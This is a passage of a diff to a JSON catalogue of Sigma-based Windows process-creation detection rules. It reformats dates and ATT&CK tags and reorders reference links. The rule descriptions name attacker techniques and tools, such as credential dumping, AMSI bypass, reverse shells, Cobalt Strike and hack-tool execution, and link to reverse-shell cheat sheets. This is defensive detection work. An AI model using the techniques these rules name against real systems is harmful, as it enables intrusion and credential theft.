"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_keys_replace.yml" ], "tags": [ "attack.t1546.008", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -35812,7 +35819,7 @@ "description": "Detects dump of credentials in VeeamBackup dbo", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -35846,7 +35853,7 @@ "description": "Detects potentially suspicious child processes of \"GoogleUpdate.exe\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Unknown" ], @@ -35859,7 +35866,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_googleupdate_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "84b1ecf9-6eff-4004-bafb-bae5c0e251b2", @@ -35869,7 +35876,7 @@ "description": "Detects usage of winget to add new potentially suspicious download sources", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Unknown" ], @@ -35883,7 +35890,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -35904,7 +35911,7 @@ "description": "Detects the clearing or configuration tampering of EventLog using utilities such as \"wevtutil\", \"powershell\" and \"wmic\".\nThis technique were seen used by threat actors and ransomware strains in order to evade defenses.\n", "meta": { "author": "Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105", - "creation_date": "2019/09/26", + "creation_date": "2019-09-26", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", @@ -35915,15 +35922,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.001", "attack.t1562.002", "car.2016-04-002" @@ -35952,7 +35959,7 @@ "description": "Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands\n", "meta": { "author": "Cian Heasley, Florian Roth (Nextron Systems)", - "creation_date": "2020/07/22", + "creation_date": "2020-07-22", "falsepositive": [ "Unknown" ], @@ -35985,7 +35992,7 @@ "description": "Detects scheduled task creations that have suspicious action command and folder combinations", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/15", + "creation_date": "2022-04-15", "falsepositive": [ "Unknown" ], @@ -36018,7 +36025,7 @@ "description": "Detects execution of \"rundll32\" calling \"advpack.dll\" with potential obfuscated ordinal calls in order to leverage the \"RegisterOCX\" function", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Unlikely" ], @@ -36027,12 +36034,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/", "https://twitter.com/Hexacorn/status/1224848930795552769", + "http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_advpack_obfuscated_ordinal_call.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "a1473adb-5338-4a20-b4c3-126763e2d3d3", @@ -36042,7 +36049,7 @@ "description": "Detects usage of the Quarks PwDump tool via commandline arguments", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/05", + "creation_date": "2022-09-05", "falsepositive": [ "Unlikely" ], @@ -36051,12 +36058,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/quarkslab/quarkspwdump", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://github.com/quarkslab/quarkspwdump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -36076,7 +36083,7 @@ "description": "Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls", "meta": { "author": "pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t", - "creation_date": "2022/05/20", + "creation_date": "2022-05-20", "falsepositive": [ "Unknown" ], @@ -36091,7 +36098,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -36118,7 +36125,7 @@ "description": "Detects execution of findstr with the \"s\" and \"i\" flags for a \"subfolder\" and \"insensitive\" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.\n", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Administrative or software activity" ], @@ -36127,13 +36134,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_subfolder_search.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1564.004", "attack.t1552.001", @@ -36177,7 +36184,7 @@ "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -36190,7 +36197,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enumeration_for_credentials_in_registry.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.002" ] }, @@ -36210,7 +36217,7 @@ "description": "Detects execution of the \"finger.exe\" utility.\nFinger.EXE or \"TCPIP Finger Command\" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon.\nDue to the old nature of this utility and the rareness of machines having the finger service. Any execution of \"finger.exe\" can be considered \"suspicious\" and worth investigating.\n", "meta": { "author": "Florian Roth (Nextron Systems), omkar72, oscd.community", - "creation_date": "2021/02/24", + "creation_date": "2021-02-24", "falsepositive": [ "Admin activity (unclear what they do nowadays with finger.exe)" ], @@ -36220,12 +36227,12 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", - "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_finger_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -36245,7 +36252,7 @@ "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Legitimate usage of the script by a developer" ], @@ -36258,7 +36265,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216.001" ] }, @@ -36278,7 +36285,7 @@ "description": "Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/22", + "creation_date": "2022-08-22", "falsepositive": [ "Unknown" ], @@ -36287,12 +36294,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/malcomvetter/CSExec", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/malcomvetter/CSExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_csexec.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001", "attack.execution", "attack.t1569.002" @@ -36321,7 +36328,7 @@ "description": "Detects Request to \"amsiInitFailed\" that can be used to disable AMSI Scanning", "meta": { "author": "Markus Neis, @Kostastsale", - "creation_date": "2018/08/17", + "creation_date": "2018-08-17", "falsepositive": [ "Unlikely" ], @@ -36335,7 +36342,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_init_failed_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -36355,7 +36362,7 @@ "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -36368,7 +36375,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -36397,7 +36404,7 @@ "description": "Detects execution of the \"wusa.exe\" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location.\n", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/11/26", + "creation_date": "2023-11-26", "falsepositive": [ "Unknown" ], @@ -36420,7 +36427,7 @@ "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/18", + "creation_date": "2021-12-18", "falsepositive": [ "Legitimate administrative use (Should be investigated either way)" ], @@ -36433,7 +36440,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_cleanwipe.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -36453,7 +36460,7 @@ "description": "Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/04", + "creation_date": "2022-03-04", "falsepositive": [ "Legitimate use of one of these tools" ], @@ -36466,7 +36473,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_imphashes.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1588.002", "attack.t1003" ] @@ -36494,7 +36501,7 @@ "description": "Detects usage of the Sharp Chisel via the commandline arguments", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/05", + "creation_date": "2022-09-05", "falsepositive": [ "Unlikely" ], @@ -36503,12 +36510,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/shantanu561993/SharpChisel", "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://github.com/shantanu561993/SharpChisel", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_chisel.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.001" ] }, @@ -36528,7 +36535,7 @@ "description": "Detects the execution of CSharp interactive console by PowerShell", "meta": { "author": "Michael R. (@nahamike01)", - "creation_date": "2020/03/08", + "creation_date": "2020-03-08", "falsepositive": [ "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." ], @@ -36561,7 +36568,7 @@ "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/27", + "creation_date": "2021-05-27", "falsepositive": [ "Possible but rare" ], @@ -36570,12 +36577,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cobaltstrike.com/help-opsec", "https://twitter.com/ber_m1ng/status/1397948048135778309", + "https://www.cobaltstrike.com/help-opsec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_no_params.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -36595,7 +36602,7 @@ "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", "meta": { "author": "Florian Roth (Nextron Systems), Microsoft (idea)", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "Administrative activity" ], @@ -36628,7 +36635,7 @@ "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.\n", "meta": { "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -36641,7 +36648,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -36661,7 +36668,7 @@ "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/28", + "creation_date": "2023-02-28", "falsepositive": [ "Unknown" ], @@ -36671,16 +36678,16 @@ "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://twitter.com/0gtweet/status/1628720819537936386", "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://twitter.com/0gtweet/status/1628720819537936386", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_modification.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -36700,7 +36707,7 @@ "description": "Detects execution of python using the \"-c\" flag. This is could be used as a way to launch a reverse shell or execute live python code.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Python libraries that use a flag starting with \"-c\". Filter according to your environment" ], @@ -36709,8 +36716,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.revshells.com/", "https://docs.python.org/3/using/cmdline.html#cmdoption-c", + "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml" ], @@ -36735,7 +36742,7 @@ "description": "Detects the execution of a system command via the ScreenConnect RMM service.", "meta": { "author": "Ali Alwashali", - "creation_date": "2023/10/10", + "creation_date": "2023-10-10", "falsepositive": [ "Legitimate use of ScreenConnect. Disable this rule if ScreenConnect is heavily used." ], @@ -36768,7 +36775,7 @@ "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unknown" ], @@ -36781,7 +36788,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -36801,7 +36808,7 @@ "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/13", + "creation_date": "2022-06-13", "falsepositive": [ "Unlikely" ], @@ -36814,7 +36821,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.execution" ] @@ -36835,7 +36842,7 @@ "description": "Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/30", + "creation_date": "2022-12-30", "falsepositive": [ "Unknown" ], @@ -36858,7 +36865,7 @@ "description": "Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB.\nThe free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com.\nThe tool has been observed in use by threat groups including Akira ransomware.\n", "meta": { "author": "Sajid Nawaz Khan", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Legitimate usage of Cloudflare Quick Tunnel" ], @@ -36867,14 +36874,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cloudflare/cloudflared", - "https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/", "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/", "https://www.intrinsec.com/akira_ransomware/", + "https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/", + "https://github.com/cloudflare/cloudflared", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_quicktunnel_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.001" ] }, @@ -36894,7 +36901,7 @@ "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", "meta": { "author": "Markus Neis, @Karneades", - "creation_date": "2018/03/06", + "creation_date": "2018-03-06", "falsepositive": [ "Unlikely" ], @@ -36903,14 +36910,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", + "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powersploit_empire_default_schtasks.yml" ], "tags": [ "attack.execution", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.s0111", "attack.g0022", "attack.g0060", @@ -36942,7 +36949,7 @@ "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate use of the system utilities to discover system time for legitimate reason" ], @@ -36951,8 +36958,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" ], "tags": [ @@ -36976,7 +36983,7 @@ "description": "Detects a Powershell process that contains download commands in its command line string", "meta": { "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -36985,8 +36992,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html", "https://lab52.io/blog/winter-vivern-all-summer/", + "https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html", "https://hatching.io/blog/powershell-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" ], @@ -37011,7 +37018,7 @@ "description": "Detects when a user downloads a file from an IP based URL using CertOC.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/18", + "creation_date": "2023-10-18", "falsepositive": [ "Unknown" ], @@ -37024,7 +37031,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download_direct_ip.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.execution", "attack.t1105" ] @@ -37045,7 +37052,7 @@ "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -37078,7 +37085,7 @@ "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'", "meta": { "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/17", + "creation_date": "2020-10-17", "falsepositive": [ "Legitimate usage by software developers" ], @@ -37087,16 +37094,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", "https://twitter.com/Z3Jpa29z/status/1317545798981324801", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml" ], "tags": [ "attack.execution", "attack.t1072", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -37123,7 +37130,7 @@ "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", "meta": { "author": "frack113", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Legitimate script" ], @@ -37137,7 +37144,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -37157,7 +37164,7 @@ "description": "Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Unlikely" ], @@ -37171,7 +37178,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1059", "attack.t1562.001" ] @@ -37199,7 +37206,7 @@ "description": "Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Unknown" ], @@ -37208,9 +37215,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_unquoted_service_search.yml" ], "tags": [ @@ -37234,7 +37241,7 @@ "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", "meta": { "author": "Florian Roth (Nextron Systems), Tigzy", - "creation_date": "2021/11/17", + "creation_date": "2021-11-17", "falsepositive": [ "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" ], @@ -37267,7 +37274,7 @@ "description": "Detects command line parameters used by Koadic hack tool", "meta": { "author": "wagga, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/01/12", + "creation_date": "2020-01-12", "falsepositive": [ "Unknown" ], @@ -37276,8 +37283,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml" ], @@ -37318,7 +37325,7 @@ "description": "Detects usage of \"cdb.exe\" to launch arbitrary processes or commands from a debugger script file", "meta": { "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Legitimate use of debugging tools" ], @@ -37335,7 +37342,7 @@ "tags": [ "attack.execution", "attack.t1106", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1127" ] @@ -37370,7 +37377,7 @@ "description": "Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder.\nCurrently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.\n", "meta": { "author": "Austin Songer @austinsonger, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -37383,7 +37390,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dump64_defender_av_bypass_rename.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -37403,7 +37410,7 @@ "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/31", + "creation_date": "2022-10-31", "falsepositive": [ "Unknown" ], @@ -37416,7 +37423,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_remote_share.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -37436,7 +37443,7 @@ "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/24", + "creation_date": "2022-10-24", "falsepositive": [ "Very unlikely" ], @@ -37445,12 +37452,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://github.com/Kevin-Robertson/Inveigh", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_inveigh.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -37470,7 +37477,7 @@ "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/21", + "creation_date": "2022-03-21", "falsepositive": [ "Unknown" ], @@ -37484,7 +37491,7 @@ 